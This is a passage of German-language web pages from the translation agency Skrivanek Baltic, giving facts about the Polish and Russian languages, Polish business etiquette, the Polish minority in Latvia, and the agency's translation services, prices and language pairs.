ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE POLNISCHE SPRACHE Die Dialekte im Polnischen werden in zwei Hauptgruppen unterteilt. Die erste Gruppe ist die ostlechitische Dialektgruppe, die sich aus 4 polnischen Dialekten zusammensetzt - Großpolnisch, Kleinpolnisch, Masurisch und Schlesisch. Die zweite Gruppe - die mittellechitische (Küsten-)Dialektgruppe - umfasst das Kaschubische, das als eigenständige Sprache betrachtet wird. In der heutigen Zeit ist der schlesische Dialekt nicht nur lebendig, sondern wird auch gesprochen, und nicht nur von Dorfbewohnern. Der kaschubische Dialekt ist eher eine Regionalsprache. Die Entwicklung der polnischen Sprache nach Status und Verbreitung: Die altpolnische Sprache (16. Jahrhundert bis zur Schaffung der gemeinsamen polnischen Sprache); Vom 17. bis zur Mitte des 19. Jahrhunderts (zusammen mit der Verbreitung und Standardisierung des schriftlichen Polnisch); Die neupolnische Sprache (Schaffung der polnischen Sprachkultur und Verbreitung der Sprache in allen Gesellschaftsschichten); Das zeitgenössische Polnisch (nach dem Zweiten Weltkrieg und der Wiedereinführung als Amtssprache). Die polnische Sprache fing im 10. Jahrhundert an sich als eigenständige Sprache zu formen. Im Polnischem gibt es etwa 140. 000 Wörter. Wie in allen slawischen Sprachen gibt es auch im Polnischen zahlreiche Diminutive, die bei der Bildung verschiedener Ausdrücke helfen. Chicago gilt als die Heimat der größten polnischen Minderheit in den USA. Die polnische Sprache hat eine rekordverdächtige Anzahl von Wörtern, z. B. szczęście (Glück), źdźbło (Grashalm), pszczoła (Biene) und so weiter - eine echte Herausforderung für Sprachschüler. Würde man Polnisch als schwierigste Sprache der Welt betiteln, dann würde das sogar die Modewelt bestätigen mit T-Shirts mit dem Aufdruck „Ich spreche POLNISCH. Was ist deine Superkraft? “ Die polnische Sprache hat viele Buchstabenpaare, die für ein einziges Phonem (polnisch: dwuznaki) stehen: cz, ch, sz, rz, dz, dż und dź. Das macht es besonders schwer, Wörter auszusprechen und deshalb gilt Polnisch als eine der am schwersten zu erlernenden Sprachen. Normalerweise betonen die Polen Łódź, eine Stadt in Polen, allerdings als Vudža und nicht als Lodza, wie es normalerweise im Lettischen ausgesprochen wird. Frederick Chopin, einer der berühmtesten polnischen und weltweiten Musiker aller Zeiten, Komponist und Interpret von Klaviermusik, ist Polens ganzer Stolz. Es heißt, dass sein Herz in der Heilig-Kreuz- Basilika in Warschau begraben ist. In Warschau gibt es einige Sitzbänke, die Teile aus Chopins Kompositionen spielen. Der berühmte Astronom Nicolaus Copernicus wurde im 16. Jahrhundert in Toruń geboren. Wenn Sie jemandem in Polen Blumen schenken, achten Sie auf eine ungerade Anzahl und vermeiden Sie Blumen, die eine kulturelle Bedeutung haben, insbesondere gelbe Chrysanthemen, die für Beerdigungen stehen und rote und weiße Blumen wie Dianthus und Lilien. Polen ist das größte Exportland der Welt für Bernstein, Messungen zufolge könnte Polens Anteil auf dem Weltmarkt bei 70% liegen. In Polen leben die schwersten Tiere Europas. Der Wisent ist das schwerste Landtier Europas, das im Durchschnitt mehr als 600 kg wiegt. Sie streifen durch den 150. 000 Hektar großen Białowieża-Wald in Polen, den letzten Urwald Europas, der sich über den gesamten Kontinent erstreckt. Marie Curie, die Entdeckerin von Polonium (der Name wurde zu Ehren von Marie Curies Geburtsort - Polen - vergeben) und Radium, war eigentlich Polin und nicht Französin. Vor der Heirat mit dem Franzosen Pierre Curie, hieß sie Marie Salomea Skłodowska. Sie war die erste Frau, die zweimal den Nobelpreis erhielt, in zwei verschiedenen Wissenschaftszweigen. In Polen küsst man immer noch gerne die Hände der Frauen. Polnische Männer halten sich bis heute gerne an den „Ritterlichen Kodex“. DAS POLNISCHE ALPHABET Das polnische Alphabet basiert auf dem lateinischen Alphabet. Es gibt 32 Buchstaben im heutigen Polnisch: Aa, Ąą, Bb, Cc, Ćć, Dd, Ee, Ęę, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Łł, Mm, Nn, Ńń, Oo, Óó, Pp, Rr, Ss, Śś, Tt, Uu, Ww, Yy, Zz, Źź, Żż und Qq, Vv und Xx in internationalen Wörtern. Die polnische Schriftsprache hat acht Vokale - a, o, u (orthografisch ó), e, i, y, ę (nasales e), ą (nasales o) ohne Längenunterschiede - und Konsonanten: b, c, cz, ć, d, dz, dź, dż, f, g, h (orthografisch ch), j, k, l, ł, m, n, ń, p, r, s, sz, ś, t, w, z, ż (orthografisch rz), ź. WIE SCHWER IST DIE POLNISCHE SPRACHE? Die polnische Sprache ist eine der schwierigsten Sprachen der Welt und liegt nach Mandarin, Arabisch, Telugu und Japanisch an fünfter Stelle. Obwohl die polnische Schrift eine Ableitung des lateinischen Alphabets ist, enthält das Alphabet zusätzliche Buchstaben zur Kennzeichnung der polnischen Lautschrift, der grammatikalischen Merkmale, der Konsonanten und der Diphthong-Ketten in den Wörtern, was für andere Sprachen nicht charakteristisch ist. Um ein einfaches Sprachniveau in Polnisch zu erreichen, benötigen Sie mindestens 44 Wochen oder 1. 100 Lernstunden. Die erste richtige Herausforderung beim Polnischlernen ist die Aussprache, vor allem von Wörtern mit Diphthong-Ketten, zum Beispiel: bezwzględny (rücksichtslos). Im Polnischen wird ein Phonem in der Regel durch ein Paar von zwei Buchstaben gekennzeichnet, es werden aber auch Paare von drei Buchstaben verwendet. Verschiedene grammatikalische Merkmale wie drei Geschlechterkategorien, 7 Fälle und Konjugationen machen das Erlernen der polnischen Sprache noch schwieriger. WO UND WIE VIELE MENSCHEN SPRECHEN POLNISCH? Polnisch ist die Muttersprache von etwa 50 Millionen Menschen weltweit - 38 Millionen in Polen, 12 Millionen in europäischen Ländern und 8 Millionen in den USA, Kanada und Australien. Polnisch wird hauptsächlich in Polen gesprochen und ist die Muttersprache der Polen. Darüber hinaus ist Polnisch die Amtssprache Polens und auch die Sprache ausgewanderter Polen in Mittel- und Osteuropa, in europäischen Ländern sowie in den USA, Australien und Südafrika. Etwa 20 Millionen Menschen polnischer Abstammung leben außerhalb Polens, was die polnische Diaspora zu einer der größten der Welt macht. Die größten polnischen Minderheiten gibt es in Belarus, der Ukraine und Litauen. Vergleichsweise viele Polen leben und sprechen Polnisch in Lettland, dem Vereinigten Königreich, Rumänien, Tschechien, Russland, Brasilien, Argentinien, den Vereinigten Staaten von Amerika, Kanada, Deutschland, Frankreich, Australien, Irland und auch Israel. DOLMETSCHER UND ÜBERSETZER FÜR DIE POLNISCHE SPRACHE Das Dolmetscher- und Übersetzerteam von Skrivanek Baltic für die polnische Sprache arbeitet sowohl mit Standardübersetzungen von Dokumenten als auch mit schwierigen technischen und notariell beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek sorgt auch für das Lektorat und die stilistische Korrektur polnischer Texte sowie für die Erstellung von SEO-Inhalten in Übereinstimmung mit dem polnischen Markt und einheimischen Kultur. Unsere Sprachspezialisten informieren Sie gerne über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Für unsere Geschäftskunden übersetzen wir in der Regel den Inhalt von Websites und E-Commerce, die Adaption von Werbeslogans, Arbeitsverträge, Gesetzestexte, Gerichtsbeschlüsse und Geschäftsdokumente aus dem und ins Polnische. Wir bieten auch Konsekutivdolmetschen für geschäftliche und anderen Treffen, Konferenzen und anderen Veranstaltungen auf Zoom und anderen Online-Plattformen an. Für juristische Personen bieten wir die Übersetzung von Ausweisdokumenten, Heiratsurkunden, Geburtsurkunden von Kindern, Bildungsdokumenten, Reisepässen, medizinischen Dokumenten und anderen Dokumenten an. POLNISCH IN DER GESCHÄFTSWELT Kommunikation ist das A und O im Geschäftsleben. Dies halten wir normalerweise für selbstverständlich, wenn wir in unserem eigenem Land mit Menschen der uns bekannten Kultur Geschäfte machen. Um ein Unternehmen in einem fremden Land zu gründen, muss man nicht nur die Sprache und die Kultur des Landes kennen, sondern auch auf die einheimischen Gesprächsregeln und Besonderheiten der Etikette beachten. Polen liegt strategisch günstig in der Mitte Europas und ist damit ein idealer Investitionsstandort für Unternehmen, die ihre Produktion sowohl nach Osten als auch nach Westen exportieren wollen. Polen ist eines der wirtschaftlich stabilsten und am schnellsten wachsenden Länder der Welt. Polen liegt weltweit auf Platz 15 der Länder, die sich für die Gründung eines Unternehmens eignen. Die wirtschaftliche Lage des Landes ist stabil und bleibt es auch. Der Bedarf und das große Interesse an Unternehmensgründungen liegt derzeit in der Gastronomie, im Bereich der Beratungsdienstleistungen, insbesondere in der Unternehmensberatung, in Internetshops, in Veranstaltungsunternehmen, in IT-Dienstleistungen und in der sozialen Hilfe. Wie sehen polnische Geschäftsgespräche aus? Polnische Geschäftsleute sind in der Regel förmlich und wortkarg. Deshalb wird das erste Treffen höchstwahrscheinlich eher reserviert ablaufen. Normalerweise sagen sie direkt, was sie denken, und sprechen über die Arbeit und die Zukunft. Im ersten Treffen werden keine Witze gemacht. Sowas ist für gesellige Zusammenkünfte gedacht. Polen sprechen in der Regel leise, aber sind stets zielstrebig und entschlossen. Sie besitzen Fachkompetenz, eine gute Ausbildung und sind gute Geschäftsleute. Polnisch ist die Amtssprache, aber da Polen an viele andere Länder grenzt, sind die meisten Einwohner mehrsprachig. Russisch, Deutsch und Englisch sind die beliebtesten Fremdsprachen, die von polnischen Unternehmen benutzt werden. Viele Polen sprechen gut Englisch, aber es lohnt sich, ein paar Sätze und Wörter auf Polnisch zu lernen, um einen guten Eindruck zu hinterlassen. Das ebnet den Weg für einen unterschriebenen Arbeitsvertrag und den Beginn einer Geschäftstätigkeit in Polen. Denken Sie daran, dass Familie für die Polen sehr wichtig ist und nur sehr ungern außerhalb der Geschäftszeiten über die Arbeit gesprochen wird. Der Arbeitstag in Polen beginnt in der Regel um 08:00 Uhr und endet um 16:00 Uhr. Polen ist ein sehr bürokratisches Land, in dem immer noch sehr viel Wert auf den Status einer Person gelegt wird. Da die meisten polnischen Sprachexperten im Land leben, wird Polnisch außerhalb des Landes nur selten für geschäftliche Zwecke verwendet. POLEN IN LETTLAND Die polnische Minderheit in Lettland besteht aus etwa 45. 584 Polen und macht (nach lettischen Angaben von 2017) 2,3% der lettischen Bevölkerung aus. Sie leben in den Städten Daugavpils, Riga und Jelgava sowie in den Gemeinden Daugavpils und Krāslava. Seit dem 17. Jahrhundert leben ethnische Polen auf dem heutigen Gebiet Lettlands. In Krišjānis Barons „Latvju dainās“ („Lieder der Letten“) finden sich 173 Volksliedvarianten mit dem Lexem „poļi“ (Polen) und im Archiv für lettische Folklore des Instituts für Literatur, Volkskunde und Kunst der Universität Lettland sind 205 Volksliedvarianten in Bezug auf Polen zu finden. Außerdem stammen die meisten Lieder aus Lettgallen (43%) und Kurland (26%). Einige der lettischen Volkslieder über Polen wurden als Tribute an die Russischen und Polnischen Soldaten oder als satirische Volkslieder geschrieben. Gegenwärtig stehen Letten und Polen in allen Bereichen und auf allen Ebenen im festen Kontakt. Vor allem in den Bereichen Schutz, Innenpolitik, regionale Entwicklung, lokale Verwaltung sowie Bildung und Kultur wird zusammengearbeitet. Eine Verbindung zum Markt und zur Wirtschaft ist von großer Bedeutung, da sie viel Potenzial birgt. Lettland möchte diese Kontakte weiter ausbauen und auf bilateraler Ebene im Rahmen der Ostseeregion, der Europäischen Union, der NATO und internationaler Organisationen, einschließlich der UNO stärken. Die Zusammenarbeit zwischen Lettland und Polen in den Bereichen Bildung und Kultur ist umfassend und vielfältig. Die polnische Minderheit in Lettland spielt eine wichtige Rolle um die Zusammenarbeit zwischen beiden Ländern zu stärken. In Lettland leben etwa 46 Tausend Polen, das sind 2,3% der Bevölkerung des Landes. Der lettische Verband der Polen und das polnische Kulturzentrum in Daugavpils arbeiten aktiv und vereinen Vertreter der in Lettland lebenden Polen und Liebhaber der polnischen Kultur. Das Kultur- und Kooperationsprogramm Lettlands und Polens sieht bilaterale Stipendien für Studien, Forschung und die Teilnahme an Sommerschulen, die Zusammenarbeit in Bezug auf die nationale polnische Minderheit sowie für sprachliche und literarische Spezialisten fürs Polnische und den Austausch lettischer Sprache, Kultur und Literatur vor. Verschiedene Bildungseinrichtungen in Lettland, die Bildungsprogramme für Minderheiten anbieten, bieten allgemeine Bildung für das Erlernen der polnischen Sprache und Kultur an: Polnische Grundschule Krāslava, benannt nach der Grafschaft Plāteris; Riga Ita Kozakēviča, eine Polnische Mittelschule; J. Pilsudksi Daugavpils Rural Municipality Polnisches Gymnasium; Das Polnische Gymnasium der Landgemeinde Rēzekne. Polen leistet regelmäßig finanzielle und technische Unterstützung für den Betrieb polnischer Schulen, stellt ihnen Gastlehrer aus Polen zur Verfügung und bietet Lehrern aus Lettland berufliche Austauschmöglichkeiten. Die Zusammenarbeit zwischen Lettland und Polen im Bereich der Hochschulbildung ist aktiv. Mehrere Universitäten in Lettland, wie die Universität Lettland, die Lettische Universität für Biowissenschaften und Technologien und die Kunstakademie Lettlands haben Kooperationsabkommen und Abkommen über den Austausch von Studierenden und Lehrkräften mit Universitäten in Polen unterzeichnet. Auch im kulturellen Bereich arbeiten Lettland und Polen rege zusammen. Künstler nehmen regelmäßig an den von beiden Ländern organisierten Festivals und Konzerten teil; die lettischen Musikkollektive arbeiten mit polnischen Dirigenten zusammen. Die internationalen Schriftsteller- und Übersetzerhäuser haben eine enge Zusammenarbeit mit Polen aufgebaut - sie werden regelmäßig von polnischen Schriftstellern, Dichtern und Übersetzern besucht. Die Nationalbibliothek in Warschau, die polnische Sejm-Bibliothek und die Pommersche Bibliothek in Szczecin sind langjährige Kooperationspartner der lettischen Nationalbibliothek. Das lettische Zentrum für zeitgenössische Kunst, das Ethnographische Freilichtmuseum Lettlands, der Verband der Gedenkmuseen und das Nationale Historische Museum Lettlands führen regelmäßig Projekte mit polnischen Vertretern durch. Polen zeigt auch eine bemerkenswerte Unterstützung zum Erhalt des kulturellen Erbes in Lettland. Auch beim Wiederaufbau des Klosters Pasiene wollte Polen helfen. Dieses Kloster zusammen mit der römisch-katholischen St. -Dominikus-Kirche von Pasiene zählt zu den schönsten und bedeutendsten Sakralbauten im polnischen oder osteuropäischen Barockstil in Letgallen und ganz Lettland. Die Kirche steht seit 1999 auf der Liste der europäischen Kulturgüter. Die Restaurierung des Wandgemäldes der römisch-katholischen Kirche St. Louis in Krāslava dauerte mehrere Jahre, Sanierungsexperten aus Polen übernahmen die praktische Arbeit hier. Die polnische Regierung hatte die Restaurierung der römisch-katholischen Kirche von Krāslava finanziert und den Seitenaltar restauriert. Auch die Restaurierung der Altarbilder in der römisch-katholischen Kirche von Piedruja wurde von der polnischen Regierung finanziert. Die polnische Botschaft in Lettland wurde am 12. November 1991 eröffnet. Vor achtzehn Jahren arbeitete die derzeitige Botschafterin Polens in Lettland, Monika Michaliszyn, in der lettischen Kulturakademie und leitete gleichzeitig das Studienprogramm für die interkulturellen Beziehungen zwischen Lettland und Polen. Als sie in ihr Heimatland zurückkehrte, hielt sie Vorlesungen über die lettische Sprache und Kultur an der Universität Warschau ab. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜRS POLNISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Polnisch; Polnisch nach Lettisch; Estnisch nach Polnisch; Polnisch nach Estnisch; Litauisch nach Polnisch; Polnisch nach Litauisch; Russisch nach Polnisch; Polnisch nach Russisch; Tschechisch nach Polnisch; Polnisch nach Tschechisch; Ukrainisch nach Polnisch; Polnisch nach Ukrainisch; Englisch nach Polnisch; Polnisch nach Englisch; Polnisch nach Spanisch; Spanisch nach Polnisch; Deutsch nach Polnisch; Polnisch nach Deutsch; Italienisch nach Polnisch; Polnisch nach Italienisch; Französisch nach Polnisch; Polnisch nach Französisch; Dänisch nach Polnisch; Polnisch nach Dänisch; Norwegisch nach Polnisch; Polnisch nach Norwegisch; Schwedisch nach Polnisch; Polnisch nach Schwedisch; Finnisch nach Polnisch; Polnisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜRS POLNISCHE: Allgemeine und fachspezifische Übersetzungen in Polnisch; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen in polnischer Sprache; Polnische Sprachkurse; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Polnisch; Polnisch nach Lettisch; Estnisch nach Polnisch; Polnisch nach Estnisch; Litauisch nach Polnisch; Polnisch nach Litauisch; Russisch nach Polnisch; Polnisch nach Russisch; Tschechisch nach Polnisch; Polnisch nach Tschechisch; Ukrainisch nach Polnisch; Polnisch nach Ukrainisch; Englisch nach Polnisch; Polnisch nach Englisch; Polnisch nach SpanischSpanisch nach Polnisch; Deutsch nach Polnisch; Polnisch nach Deutsch; Italienisch nach Polnisch; Polnisch nach Italienisch; Französisch nach Polnisch; Polnisch nach Französisch; Dänisch nach Polnisch; Polnisch nach Dänisch; Norwegisch nach Polnisch; Polnisch nach Norwegisch; Schwedisch nach Polnisch; Polnisch nach Schwedisch; Finnisch nach Polnisch; Polnisch nach Finnisch und andere. --- > Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen, Dolmetschen, Lokalisierungen. Russische Sprachkurse. - Published: 2025-01-06 - Modified: 2025-07-10 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS RUSSISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS RUSSISCHE? Ja, natürlich. Die Preisliste der Übersetzung, des Dolmetschens (konsekutiv und simultan), der Lokalisierung und der Adaption ins und aus dem Russischen ist ein fester Bestandteil unserer Kooperationsvereinbarung mit dem Kunden. Die Projektmanager von Skrivanek Baltic unterbreiten vor Auftragsbeginn stets einen Kostenvoranschlag. Innerhalb von 30 Minuten bekommen Sie ein Preisangebot. Bei der Preiskalkulation für schriftliche Aufträge werden die Anzahl der Wörter und Wiederholungen im Originaltext, die Komplexität der grafischen Elemente und andere Aspekte berücksichtigt. Um ein Preisangebot zu erhalten, senden Sie uns Ihr Material an unsere E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Russische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere russischen Sprachdienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Russisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WISSENSWERTES ÜBER DIE RUSSISCHE SPRACHE Russisch ist eine slawische Sprache der Familie der indogermanischen Sprachen. Die Ursprünge der russischen Sprache gehen auf die Zeit vor dem 7. Jahrhundert n. Chr. zurück, als Stämme, die bis dahin Urslawisch gesprochen begannen, sich in drei Untergruppen der Sprache aufzuspalten: Ostslawisch, Westslawisch und Südslawisch. Ostslawisch oder auch Altrussisch, war die offizielle Sprache der Kiewer Rus. Nach dem Zerfall der Kiewer Rus, zerstreute sich auch die Sprache im 14. Jahrhundert. In der Entwicklung der russischen Sprache spielten die Heiligen Kyrill und Method, christliche Missionare aus dem byzantinischen Reich, die 988 in der Kiewer Rus eintrafen, eine große Rolle. Dank ihrer Bemühungen entstand auf der Grundlage des von den Heiligen erfundenen glagolitischen Alphabets die „kyrillische Schrift“, die noch heute als offizielles Alphabet für die Landessprachen Russlands und einiger anderer slawischer Länder verwendet wird. Nach dem Fall der Kiewer Rus und dem Einfall der Goldenen Horde im 14. Jahrhundert spaltete sich das Ostslawische in mehreren Sprachen, darunter auch das Russische. Das Russische besteht aus den nordrussischen Dialekten, in denen das unbetonte „o“ deutlich ausgesprochen wird, und den südrussischen Dialekten, in denen das unbetonte „o“ hauptsächlich zu „a“ reduziert wird, sowie den zentralrussischen Dialekten, die von Moskau bis St. Petersburg gesprochen werden. Das Standardrussisch stammt von letzterem ab. Seit 1942 besteht das russische Alphabet aus 33 Buchstaben und benutzt die kyrillische Schrift. Insgesamt gibt es im Russischen etwa 160. 000 Wörter. Betonte Vokale haben im Russischen eine große Bedeutung, aber es gibt keine einheitlichen grammatikalischen Regeln, welche Vokale betont werden müssen. Manchmal kann die Betonung verschiedener Vokale in homographischen Wörtern deren Bedeutung verändern. Iwan Fjodorow (Иван Фёдоров) (1520-1583) war der erste russische Drucker und Verleger. Das erste Buch in russischer Sprache, „Апостол“ (Apostolos), veröffentlichte er 1564. Die erste Zeitung, die in Russland gedruckt wurde, war „Ведомости“ (Wedomosti) auf Erlass von Peter dem Großen vom 16. Dezember 1703. Die erste russische Zeitung auf dem Gebiet Lettlands war „Российское еженедельное издание в Риге“ (Russische Wochenschrift in Riga), gedruckt 1816 in Riga. Einer der berühmtesten russischen Dichter und Schriftsteller, Alexander Puschkin, gilt als Begründer der modernen russischen Literatur. Russisch ist die Muttersprache von etwa 145 Millionen Menschen, es steht auf dem vierten Platz der meistgesprochenen Sprachen der Welt und auf dem vierten Platz der Sprachen mit den meisten Sprechern (255 - 280 Millionen). Russisch ist nicht nur in Russland, sondern auch in anderen Ländern Amtssprache: Belarus, Kasachstan und Kirgisistan. Auch in Ländern wie Israel, Lettland, Litauen, Moldawien, der Ukraine und anderen ist der Anteil der Russischsprachigen hoch. In Lettland ist Russisch nach Lettisch die am zweithäufigsten gesprochene Sprache. Sprachcode: ISO 639-1: ru UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE RUSSISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Russisch; Russisch nach Lettisch; Estnisch nach Russisch; Russisch nach Estnisch; Litauisch nach Russisch; Russisch nach Litauisch; Tschechisch nach Russisch; Russisch nach Tschechisch; Polnisch nach Russisch; Russisch nach Polnisch; Ukrainisch nach Russisch; Russisch nach Ukrainisch; Englisch nach Russisch; Russisch nach Englisch; Spanisch nach Russisch; Russisch nach Spanisch; Deutsch nach Russisch; Russisch nach Deutsch; Italienisch nach Russisch; Russisch nach Italienisch; Französisch nach Russisch; Russisch nach Französisch; Dänisch nach Russisch; Russisch nach Dänisch; Norwegisch nach Russisch; Russisch nach Norwegisch; Schwedisch nach Russisch; Russisch nach Schwedisch; Finnisch nach Russisch; Russisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE RUSSISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Russisch; Russisch nach Lettisch; Estnisch nach Russisch; Russisch nach Estnisch; Litauisch nach Russisch; Russisch nach Litauisch; Tschechisch nach Russisch; Russisch nach Tschechisch; Polnisch nach Russisch; Russisch nach Polnisch; Ukrainisch nach Russisch; Russisch nach Ukrainisch; Englisch nach Russisch; Russisch nach Englisch; Spanisch nach Russisch; Russisch nach Spanisch; Deutsch nach Russisch; Russisch nach Deutsch; Italienisch nach Russisch; Russisch nach Italienisch; Französisch nach Russisch; Russisch nach Französisch; Dänisch nach Russisch; Russisch nach Dänisch; Norwegisch nach Russisch; Russisch nach Norwegisch; Schwedisch nach Russisch; Russisch nach Schwedisch; Finnisch nach Russisch; Russisch nach Finnisch und andere. --- > Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen in italienischer Sprache. Dolmetscherdienste und Italienischkurse. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS ITALIENISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS ITALIENISCHE? Die Kosten für die Übersetzung vom und ins Italienische werden für jeden Auftrag individuell berechnet. Die Preiskalkulation setzt sich aus mehreren Parametern zusammen. Der Preis für sequentielles und Simultandolmetschen basiert auf der Zeit der Leistungserbringung, dem Ort, den Reisekosten und dem Tagessatz. Beim Simultandolmetschen werden die technische Ausrüstung, die Anzahl der Dolmetscher und andere Aspekte berücksichtigt. Der Preis für Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des zu übersetzenden Materials, der Abgabefrist, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und dem Umfang der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für schriftliche und mündliche Übersetzungen (simultan und sequentiell), Lokalisierung und Adaption vom und ins Italienische ein fester Bestandteil unserer Kundenverträge. Die Projektmanager des baltischen Übersetzungsbüros Skrivanek bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Das Preisangebot wird in etwa 30 Minuten erstellt. Der Preis für schriftliche Übersetzungen richtet sich nach der Anzahl der Wörter im Text, den Wiederholungen, der Komplexität der grafischen Elemente und anderen Faktoren. Damit Sie ein Kostenvoranschlag erhalten können, warten wir darauf, dass Sie uns Ihre zu übersetzenden Unterlagen an unsere E-Mail senden. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Italienische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unser Angebot an italienischen Sprachdienstleistungen umfasst: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Italienisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der 